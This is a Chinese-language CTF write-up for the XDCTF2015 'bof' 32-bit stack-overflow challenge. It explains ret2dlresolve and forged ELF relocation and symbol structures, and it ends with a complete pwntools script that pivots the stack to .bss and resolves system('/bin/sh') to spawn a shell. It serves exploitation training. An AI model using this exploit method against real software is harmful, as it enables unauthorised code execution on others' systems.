# 1. 查看程序

32 位程序,开启了 NX

ida32 查看

main:

vuln:

# 2. 漏洞分析

可以发现 read 读入的字节数可以导致栈溢出,但是没有后门函数,我们可以进行泄露 libc 来 getshell,但是这里换一个方法,通过利用 ret2dlresolve 来解决, ret2dlresolve 通常利用在无法泄露出地址时,通过让 dl_runtime_reslove 函数来解析函数名达到执行动态链接库函数的目的

因为 dl_runtime_resolve 函数没有检查边界,所以我们可以将其对应的结构体写入其他地址,然后通过一定 偏移 大小来使 dl_runtime_resolve 去执行

# 原理:

_dl_runtime_resolve(link_map_obj,reloc_index) 将该函数执行方式分开看如下图所示:

调试查看该函数的调用过程:

利用命令 objdump -d bof , 得到函数的地址:

在 gdb 中下断点调试:

从上面的图中也能发现,3 个 jmp 里有两个 push,这里分别对应了 dl_runtime_resolve函数 的两个参数 ( push 0x20 对应 reloc_indxepush 0x804a004 对应 link_map_obj )

这里我们就需要修改 reloc_index 的值来去寻找到我们伪造的结构体 .rel.plt (这里的 reloc_index 的值实际上也就是偏移量,能够改写该偏移量,那么后续的结构体只要伪造好了就可以按照我们想要的执行)

对于参数 obj_link_map 我们不需要修改,这个地址后续划分的三个基地址可以被使用,所以我们通过栈溢出将 plt [0] 的地址覆盖 ret, 后面只要加入参数 reloc_index 即可

仍然是通过这张图来看拆分的结构:

我们后续就是需要伪造 .rel.plt.dynsym 这两个结构体,其结构分别为:

.rel.plt 结构体:

c
typedef struct{
  Elf32_Addr r_offset;
  Elf32_Word r_info;
}Elf32_Rel

dynsym 结构体:

c
typedef struct
{
  Elf32_Word    st_name; // 符号名,是相对.dynstr 起始的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; // 对于导入函数符号而言,它是 0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; // 对于导入函数符号而言,除 st_name 外其他字段都是 0

除此之外还需要构造一个如 system\x00 的字符串作为 函数名去解析

在我们伪造的结构体中,我们可以控制其成员变量,也就意味着能够构造偏移,使得 dl_runtime_resolve 可以一步一步达到我们需要解析的函数名处

构造方式 (这里反着构造):

  1. 部署字符串(要执行的函数名,如 system\x00
  2. 通过 字符串地址-dynstr基地址 得到 dynsym 结构体中第一个成员变量的值(也就是字符串的偏移)
  3. 部署伪造的 system 的 .dynsym 结构体,其中第一个成员变量要用 步骤2 的值
  4. 由伪造的 system 结构体地址 - dynsym 基地址 = 偏移,利用该偏移得到 r_info ((偏移 / 0x10<<8)+0x7)
  5. 伪造 rel.plt 结构体,通过上面的 r_info 作为其第二个成员变量(第一个成员变量为 write_got 等)
  6. 利用伪造的 rel.plt 结构体地址 - rel.plt 基地址 = reloc_index ,得到的 reloc_index 就是 dl_runtime_resolve 第二个参数,第一个参数是 link_map_obj 在前面利用 plt0 覆盖 ret 后就直接 push 进栈了

# 3. 构造 exp

因为我们需要将伪造的几个结构体写入固定的地址,这里写入 bss 段内

接下来就是利用 read 函数将伪造的结构体内容写入到 bss 段上,这里需要记录下每个结构体在 bss 段的地址,方便我们后续的偏移量的写入

n
from pwn import *
elf = ELF('bof')
r = process('./bof')
rop = ROP('./bof')
offset = 112
bss_addr = elf.bss() #获取 bss 段首地址
write_got = elf.got['write']
#获取 plt0 的基地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
#获取.rel.plt 的基地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#获取.dynsym 的基地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
#获取.dynstr 的基地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
r.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到 bss 段
## 新栈空间大小为 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充缓冲区
rop.raw(b'a' * offset) 
### 向新栈中写 100 个字节
##rop.read 会自动完成 read 函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移,设置 esp = base_stage
##rop.migrate 会利用 leave_ret 自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())
# "/bin/sh" 字符串
rop = ROP('./bof')
sh = b"/bin/sh\x00"
## 在 base_stage + 32 的地方开始部署.dynsym 结构体
fake_sym_addr = base_stage + 32
## 对齐
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
## 计算.dynsym 结构体下标
index_dynsym = int((fake_sym_addr - dynsym) / 0x10)
## 计算.dynstr 偏移准备更改.dynsym 成员变量 st_name
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])# 伪造的.dynsym 结构体
# 在 base_stage+24 的位置开始部署.rel.plt 的结构体
index_offset = base_stage + 24 - rel_plt
# 由.dynsym 结构体下标反推 r_info
r_info = (index_dynsym << 8) +0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
# fake ret addr of write
rop.raw(b'bbbb') #system 函数返回地址
rop.raw(base_stage + 0x50) #system 函数 1 参
rop.raw(b'bbbb') #原 write 函数 2 参
rop.raw(b'bbbb') #原 write 函数 3 参
rop.raw(fake_write_reloc)  # 伪造的.rel.plt 的结构体
rop.raw(b'a' * align)  # 对齐
rop.raw(fake_write_sym)  # 伪造的.dynsym 的结构体
rop.raw(b'system\x00') #伪造的.dynstr
rop.raw(b'a' * (80 - len(rop.chain())))
rop.raw(sh)
#rop.raw('a' * (100 - len(rop.chain())))
print(rop.dump()) #可打印栈布局
r.sendline(rop.chain())
r.interactive()